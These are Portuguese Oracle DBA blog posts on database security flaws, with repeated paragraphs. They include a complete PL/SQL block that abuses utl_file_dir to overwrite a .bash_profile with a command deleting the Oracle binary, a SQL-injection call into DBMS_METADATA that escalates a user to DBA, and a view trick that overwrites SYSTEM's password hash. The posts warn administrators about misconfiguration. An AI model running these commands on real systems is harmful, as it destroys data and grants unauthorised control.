Thursday, March 29, 2007
Velhos Vícios
Ainda hoje, beirando o lançamento da versão 11g, sustentamos alguns velhos hábitos mantendo funcionalidades do passado, algumas, além de antigas, perigosas. A natureza humana é resistente a mudança, isso é indiscutível e quase incontestável, porém, quando novas características vêm, é preciso, no mínimo, considerar e mais importante, conhecer! A cada nova release é necessário saber a lista de bugs corrigidos assim como novas funcionalidades, estudá-las, testá-las e classificá-las adequadamente para sua aplicação futura. Até hoje é possível ver banco de dados subindo com pfile ao invés de spfile, por exemplo.
Outro exemplo é o comando de definição CREATE DIRECTORY, que nem pode ser chamado de nova funcionalidade na medida em que ele existe desde a versão 8i. Mas é impressionante a quantidade de analistas e desenvolvedores que ainda usam o parâmetro utl_file_dir para escrever ou ler arquivos do sistema operacional. Está comprovadamente advertido que este parâmetro é extremamente perigoso, ainda mais se for mal configurado. Vamos discutir um pouco mais a fundo. Gostaria apenas de uma ressalva quanto a publicação desse exemplo: se há algo que evito, é publicar como explorar vulnerabilidades, mostrando os códigos. É importante estar ciente dos problemas de segurança, portanto, quando publico, procuro omitir o código. Entretanto, penso que esta demonstração tem seu propósito.
Então, por favor, não reproduza o exemplo a seguir em seu ambiente já que o resultado pode ser desastroso, a intenção é mostrar o que um sistema mal configurado e um programador "bem intencionado" podem fazer. O cenário consiste em explorar o mal dimensionamento do parâmetro ult_file_dir, que em muitos sistemas fica setado para "*" (asterísco), ou seja, permissão para escrita e leitura em qualquer lugar do sistema operacional, onde o usuário dono do oracle tenha acesso. No linux, usando o shell /bin/bash, o .bash_profile é um arquivo que executa automaticamente quando o usuário loga-se no sistema, uma espécie de autoexec.bat (para Windows). Meu código irá substituir o conteúdo do .bash_profile do dono do Oracle e na próxima oportunidade de login do mesmo, o .bash_profile executa!
Requisito:
Bom, provavelmente a essa altura, o telefone já não pára de tocar, seu chefe e o chefe do seu chefe devem estar ai atrás da sua cadeira, perguntando "O que acontece?", "Tem previsão?", "Qual a severidade?"...
Concluindo: é um cenário dantesco que não é impossível de acontecer, imaginado para contextualizar a vulnerabilidade de um parâmetro mal dimensionado e insistente na medida em que não muda-se os paradigmas e se mantém vícios antigos porque "sempre foi assim". Todo esse exemplo seria impossível, caso o parâmetro utl_file_dir não estivesse setado, então o analista teria que solicitar ao DBA para criar um diretório lógico no oracle (CREATE DIRECTORY) apontando para o diretório físico no sistema operacional restrito a seu trabalho. No próximo release, tire um tempo para testar e conhecer as new features, ajuda bastante.
Outro exemplo é o comando de definição CREATE DIRECTORY, que nem pode ser chamado de nova funcionalidade na medida em que ele existe desde a versão 8i. Mas é impressionante a quantidade de analistas e desenvolvedores que ainda usam o parâmetro utl_file_dir para escrever ou ler arquivos do sistema operacional. Está comprovadamente advertido que este parâmetro é extremamente perigoso, ainda mais se for mal configurado. Vamos discutir um pouco mais a fundo. Gostaria apenas de uma ressalva quanto a publicação desse exemplo: se há algo que evito, é publicar como explorar vulnerabilidades, mostrando os códigos. É importante estar ciente dos problemas de segurança, portanto, quando publico, procuro omitir o código. Entretanto, penso que esta demonstração tem seu propósito.
Então, por favor, não reproduza o exemplo a seguir em seu ambiente já que o resultado pode ser desastroso, a intenção é mostrar o que um sistema mal configurado e um programador "bem intencionado" podem fazer. O cenário consiste em explorar o mal dimensionamento do parâmetro ult_file_dir, que em muitos sistemas fica setado para "*" (asterísco), ou seja, permissão para escrita e leitura em qualquer lugar do sistema operacional, onde o usuário dono do oracle tenha acesso. No linux, usando o shell /bin/bash, o .bash_profile é um arquivo que executa automaticamente quando o usuário loga-se no sistema, uma espécie de autoexec.bat (para Windows). Meu código irá substituir o conteúdo do .bash_profile do dono do Oracle e na próxima oportunidade de login do mesmo, o .bash_profile executa!
Requisito:
Faço o login con o ora92 (dono do meu oracle 9i) e mostro o .bash_profile original.
ops$marcio:LX92> show parameter utl_file_dir
NAME TYPE VALUE
------------------------------------ ----------- ------------------------
utl_file_dir string *
Agora, entro com o scott/tiger do prompt do unix mesmo, mas eu poderia usar o sqlplusw do Windows na minha estação ou o sqldeveloper ou até mesmo outro cliente qualquer, não há necessidade de conhecer ou ter o usuário do unix. Uma vez conectado, vou executar um bloco anônimo de 12 linhas apenas, fechar a sessão e esperar a bomba que acontece na próxima conexão de algum DBA que necessite fazer manutenção no banco através da conta "ora92".
[ora92@anakin ~]$ cat .bash_profile
# .bash_profile
# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
# User specific environment and startup programs
PATH=$PATH:$HOME/bin
export PATH
unset USERNAME
ORACLE_SID=lx92
ORACLE_BASE=/oracle
ORACLE_HOME=/oracle/92
PATH=$ORACLE_HOME/bin:$PATH:.
LD_ASSUME_KERNEL=2.4.19
SQLPATH=/oracle/sqladm
export ORACLE_SID ORACLE_BASE ORACLE_HOME PATH LD_ASSUME_KERNEL SQLPATH
Tudo armado, veja abaixo como está o .bash_profile e cá entre nós, quem se lembra que existe o .bash_profile toda vez que conectamos? Então, um pouco mais abaixo, mostro o telnet e a conexão.
[ora92@anakin ~]$ sqlplus scott/tiger
SQL*Plus: Release 9.2.0.8.0 - Production on Thu Mar 29 10:45:37 2007
Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.8.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.8.0 - Production
scott:LX92> declare
2 l_output utl_file.file_type;
3 begin
4 l_output := utl_file.fopen('/home/ora92', '.bash_profile', 'w' );
5 utl_file.put_line( l_output, 'rm -f /oracle/92/bin/oracle' );
6 utl_file.put_line( l_output, 'clear' );
7 utl_file.put_line( l_output, 'echo ''Vai usar o sqlplus ? :-) ''' );
8 utl_file.put_line( l_output, 'echo ''Acho que nao!!! :P ''' );
9 utl_file.put_line( l_output, '');
10 utl_file.fclose(l_output);
11 end;
12 /
PL/SQL procedure successfully completed.
scott:LX92> exit
Disconnected from Oracle9i Enterprise Edition Release 9.2.0.8.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.8.0 - Production
Só de ler isso aqui já dá um negócio na barriga não? Feche os olhos e imagine VOCE vivendo uma situação como esta? O shell diferente do que está acostumado, uma mensagem ridícula com caretinhas e... voce se dá conta que algo aconteceu no seu profile (.bash_profile) "Caramba, quem mexeu aqui? Deve ser zueira" - Sim e das grandes! Seguindo, acertamos as variáveis de ambiente e tentamos conectar no banco...
[ora92@anakin ~]$ cat .bash_profile
rm -f /oracle/92/bin/oracle
clear
echo 'Vai usar o sqlplus ? :-) '
echo 'Acho que nao!!! :P '
[ora92@anakin ~]$ telnet anakin.mportes.local
Trying 192.168.0.120...
Connected to anakin.mportes.local (192.168.0.120).
Escape character is '^]'.
Enterprise Linux Enterprise Linux AS release 4 (October Update 4)
Kernel 2.6.9-42.0.0.0.1.ELsmp on an i686
login: ora92
Password:
Last login: Wed Mar 28 21:22:32 from localhost.localdomain
Vai usar o sqlplus ? :-)
Acho que nao!!! :P
-bash-3.00$
-bash-3.00$
Vixi!
-bash-3.00$ sqlplus "/ as sysdba"
-bash: sqlplus: command not found
-bash-3.00$ . ./bash_profile_backup
[ora92@anakin ~]$
[ora92@anakin ~]$ sqlplus "/ as sysdba"
SQL*Plus: Release 9.2.0.8.0 - Production on Thu Mar 29 10:47:26 2007
Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.
ERROR:
ORA-12545: Connect failed because target host or object does not exist
Enter user-name:
ERROR:
ORA-12545: Connect failed because target host or object does not exist
Enter user-name:
ERROR:
ORA-12545: Connect failed because target host or object does not exist
SP2-0157: unable to CONNECT to ORACLE after 3 attempts, exiting SQL*Plus
[ora92@anakin ~]$
Bom, provavelmente a essa altura, o telefone já não pára de tocar, seu chefe e o chefe do seu chefe devem estar ai atrás da sua cadeira, perguntando "O que acontece?", "Tem previsão?", "Qual a severidade?"...
Concluindo: é um cenário dantesco que não é impossível de acontecer, imaginado para contextualizar a vulnerabilidade de um parâmetro mal dimensionado e insistente na medida em que não muda-se os paradigmas e se mantém vícios antigos porque "sempre foi assim". Todo esse exemplo seria impossível, caso o parâmetro utl_file_dir não estivesse setado, então o analista teria que solicitar ao DBA para criar um diretório lógico no oracle (CREATE DIRECTORY) apontando para o diretório físico no sistema operacional restrito a seu trabalho. No próximo release, tire um tempo para testar e conhecer as new features, ajuda bastante.
Labels: Security
Wednesday, September 20, 2006
Grant Direto Para Desenvolvedor
Atualmente estou trabalhando juntamento com os desenvolvedores para minimizar problemas com auditoria e em recente reunião, onde discutíamos sobre grants, esclareci que: quando houver necessidade de criação de procedure/package, o grant deve ser direto ao usuário. Pois bem, isto está documentado no manual.
A seguir parte da explicação do manual.
Traduzindo rapidamente: Para a compilação, o dono da procedure ou package DEVE TER RECEBIDO EXPLICITAMENTE PERMISSÃO necessária dos privilégios em todos os objetos referenciados dentro do corpo do código. (Essa parte eu gosto!) O dono NÃO PODE ter obtido os privilégios requeridos através de roles.
Portanto, estou completamente embasado em minha informação... Isso era o que eu imaginava. Hoje descobri que através de DB Link, a afirmação acima não é verdadeira.
Fiz um pequeno estudo. Criei uma tabela "t" em meu esquema (ops$marcio), uma role "r_test", dei grant de select na tabela "t" à role "r_test", criei um usuário "a", dei permissão de conexão, criar código, sinônimo, dblink e a recém criada "r_test". E fiz o teste: tentei primeiro criar uma procedure com o sinônimo, não funcionou - comportamento esperado e documento, porém, quando eu criei um dblink de "a" para "a" mesmo e referenciei a tabela "t" através do dblink, a procedure compilou e rodou sem problema.
Veja o teste todo, lembrando que o mesmo foi executado na versão 10.2.0.2.0 (Linux).
Adendo: Resposta da Oracle
A seguir parte da explicação do manual.
"For the compilation of the procedure or package, the owner of the procedure or package must have been explicitly granted the necessary object privileges for all objects referenced within the body of the code. The owner cannot have obtained required privileges through roles."
Traduzindo rapidamente: Para a compilação, o dono da procedure ou package DEVE TER RECEBIDO EXPLICITAMENTE PERMISSÃO necessária dos privilégios em todos os objetos referenciados dentro do corpo do código. (Essa parte eu gosto!) O dono NÃO PODE ter obtido os privilégios requeridos através de roles.
Portanto, estou completamente embasado em minha informação... Isso era o que eu imaginava. Hoje descobri que através de DB Link, a afirmação acima não é verdadeira.
Fiz um pequeno estudo. Criei uma tabela "t" em meu esquema (ops$marcio), uma role "r_test", dei grant de select na tabela "t" à role "r_test", criei um usuário "a", dei permissão de conexão, criar código, sinônimo, dblink e a recém criada "r_test". E fiz o teste: tentei primeiro criar uma procedure com o sinônimo, não funcionou - comportamento esperado e documento, porém, quando eu criei um dblink de "a" para "a" mesmo e referenciei a tabela "t" através do dblink, a procedure compilou e rodou sem problema.
Veja o teste todo, lembrando que o mesmo foi executado na versão 10.2.0.2.0 (Linux).
Intrigado, submeti uma dúvida na asktom e abri um chamado na Oracle, estou aguardando resposta. Quando houver novidades, posto aqui o resultado!
ops$marcio:YODA10G> create table t as
2 select username
3 from all_users
4 where rownum <= 10;
Table created.
ops$marcio:YODA10G>
ops$marcio:YODA10G> create role r_test;
Role created.
ops$marcio:YODA10G>
ops$marcio:YODA10G> grant select on t to r_test;
Grant succeeded.
ops$marcio:YODA10G>
ops$marcio:YODA10G> grant create session,
2 create synonym,
3 create procedure,
4 create database link,
5 r_test
6 to a identified by a;
Grant succeeded.
ops$marcio:YODA10G>
ops$marcio:YODA10G> connect a/a
Connected.
a:YODA10G> show user
USER is "A"
a:YODA10G> create synonym t for ops$marcio.t;
Synonym created.
a:YODA10G>
a:YODA10G> create database link a_link
2 connect to a identified by a
3 using 'yoda10g';
Database link created.
a:YODA10G>
a:YODA10G> create or replace procedure read_t as
2 begin
3 for x in ( select username
4 from t )
5 loop
6 dbms_output.put_line('User: '|| x.username );
7 end loop;
8 end;
9 /
Warning: Procedure created with compilation errors.
a:YODA10G>
a:YODA10G> create or replace procedure read_t as
2 begin
3 for x in ( select username
4 from t@a_link )
5 loop
6 dbms_output.put_line('User: '|| x.username );
7 end loop;
8 end;
9 /
Procedure created.
a:YODA10G>
a:YODA10G> exec read_t
User: UTIL
User: SCH_IDBA
User: SCH_MARCIO
User: FLOWS_020200
User: APEX_PUBLIC_USER
User: FLOWS_FILES
User: OPS$MARCIO
User: SCOTT
User: MGMT_VIEW
User: MDDATA
PL/SQL procedure successfully completed.
a:YODA10G>
Adendo: Resposta da Oracle
ANSWER
=======
Hi Marcio,
This is not a bug, it's expected behavior. Please refer to the following bugs closed as not a bug:
Bug 3408559 - Abstract: CREATE VIEW ON OTHER SCHEMA IS POSSIBLE WITHOUT PRIVILEGES BY USING DBLINK
Bug 4460766 - Abstract: ABLE TO CREATE STORED PROCEDURE WHEN ACCESSING OBJECTS VIA ROLE THROUGH DB
LINK
Roles don't work from PL/SQL because roles exist in sessions only, therefore, in general they don't
work from a stored procedure, but with a dblink, you create a session. The dblink is making a new
connection, so the rules of PL/SQL in the local database don't apply.
When dblink is used, only SELECT part of the procedure is sent to remote database. Here, Oracle
doesn't know wheather this SELECT is part of procedure or view etc. It only applies privilege
required for SELECT and since user "a" is granted SELECT on table via role, SELECT completes and
procedure is created.
Labels: Security
Sunday, April 23, 2006
Cuidado com Privilégios
Mais um problema com segurança no Oracle. Resolvi publicar essa vulnerabilidade por ser um problema antigo e mesmo assim, alguns DBAs relutam em tirar o privilégio da package DBMS_METADATA do PUBLIC.
Vamos ao problema: trata-se da técnica de SQL Injection justamente com uma package que o SYS executa, portanto o BURACO de segurança, permitindo que um simples usuário com conexão e direito de criar procedures pode tornar-se DBA!!
Exemplo:
Antes porém, quero explicar que vou suprimir o código da função para não ajudar a nenhum script-kid a brincar com bases por ai. O código não é nada do outro mundo, porém não quero ser responsável por nenhum copy/paste e o garoto facilmente obter role de DBA.
Esse bug afeta até a versão 9ir2. Na 10g isso foi corrigido.
O mesmo teste na 10g.
Vamos ao problema: trata-se da técnica de SQL Injection justamente com uma package que o SYS executa, portanto o BURACO de segurança, permitindo que um simples usuário com conexão e direito de criar procedures pode tornar-se DBA!!
Exemplo:
Antes porém, quero explicar que vou suprimir o código da função para não ajudar a nenhum script-kid a brincar com bases por ai. O código não é nada do outro mundo, porém não quero ser responsável por nenhum copy/paste e o garoto facilmente obter role de DBA.
Esse bug afeta até a versão 9ir2. Na 10g isso foi corrigido.
SQL> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.2.0.6.0 - Production
PL/SQL Release 9.2.0.6.0 - Production
CORE 9.2.0.6.0 Production
TNS for Linux: Version 9.2.0.6.0 - Production
NLSRTL Version 9.2.0.6.0 - Production
5 rows selected.
SQL>
SQL> drop user hacker cascade;
User dropped.
SQL>
SQL> create user hacker identified by iamgod;
User created.
SQL> grant create session, create procedure to hacker;
Grant succeeded.
SQL>
SQL> connect hacker/iamgod;
Connected.
SQL>
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE PROCEDURE
2 rows selected.
SQL>
SQL> create or replace
2 function "HACKER"."QUERO_SER_DBA" return varchar2
3 authid current_user
4 is
...[censurado] ...
19 return '';
20 end;
21 /
Function created.
SQL> select sys.dbms_metadata.get_ddl('''||HACKER.QUERO_SER_DBA()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||HACKER.QUERO_SER_DBA()||' for parameter OBJECT_TYPE in function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1
no rows selected
SQL>
SQL> disconnect
Disconnected from Oracle9i Enterprise Edition Release 9.2.0.6.0 - Production
With the Partitioning and Oracle Data Mining options
JServer Release 9.2.0.6.0 - Production
SQL> connect hacker/iamgod
Connected.
SQL>
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER
BECOME USER
ALTER USER
DROP USER
CREATE ROLLBACK SEGMENT
ALTER ROLLBACK SEGMENT
DROP ROLLBACK SEGMENT
CREATE TABLE
CREATE ANY TABLE
...
DROP ANY EVALUATION CONTEXT
EXECUTE ANY EVALUATION CONTEXT
CREATE RULE SET
CREATE ANY RULE SET
ALTER ANY RULE SET
DROP ANY RULE SET
EXECUTE ANY RULE SET
140 rows selected.
O mesmo teste na 10g.
SQL> select sys.dbms_metadata.get_ddl('''||HACKER.QUERO_SER_DBA()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||HACKER.QUERO_SER_DBA()||' for parameter OBJECT_TYPE in function GET_DDL
ORA-06512: at "SYS.DBMS_METADATA", line 2681
ORA-06512: at "SYS.DBMS_METADATA", line 2732
ORA-06512: at "SYS.DBMS_METADATA", line 4333
ORA-06512: at line 1
no rows selected
SQL>
SQL> disconnect
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Production
With the Partitioning, OLAP and Data Mining options
SQL> connect hacker/iamgod
Connected.
SQL>
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE PROCEDURE
2 rows selected.
Labels: Security
Wednesday, April 12, 2006
Esperando por respostas...
Fiquei um pouco surpreso hoje quando recebi a notícia de vulnerabilidade no Oracle 9ir2/10gr1. Com simples grant de create session e create view, um usuário malicioso pode modificar dados de uma tabela que não tenha privilégios. Até o sys!
Exemplo tirado de um site por ai...
E por ai vai. Resta saber quando a Oracle publicará um patch para esse ENORME buraco.
Exemplo tirado de um site por ai...
C:\>sqlplus dbsnmp/dbsnmp
SQL*Plus: Release 10.1.0.4.0 - Production on Thu Apr 11 12:20:27 2006
Copyright (c) 1982, 2005, Oracle. All rights reserved.
Connected to:
Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 - Production With the Partitioning, OLAP and Data Mining options
SQL> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 - Prod PL/SQL Release 10.1.0.4.0 - Production
CORE 10.1.0.4.0 Production
TNS for 32-bit Windows: Version 10.1.0.4.0 - Production NLSRTL Version 10.1.0.4.0 - Production
SQL> -- (as expected)
SQL> update sys.user$ set password='BC903FAEBB69EFBF' where name='SYSTEM';
update sys.user$ set password='BC903FAEBB69EFBF' where name='SYSTEM'
*
ERROR at line 1:
ORA-01031: insufficient privileges
SQL> create or replace view e as select [...censored...];
View created.
SQL> update e set password='BC903FAEBB69EFBF' where name ='SYSTEM';
1 row updated.
E por ai vai. Resta saber quando a Oracle publicará um patch para esse ENORME buraco.
Labels: Security
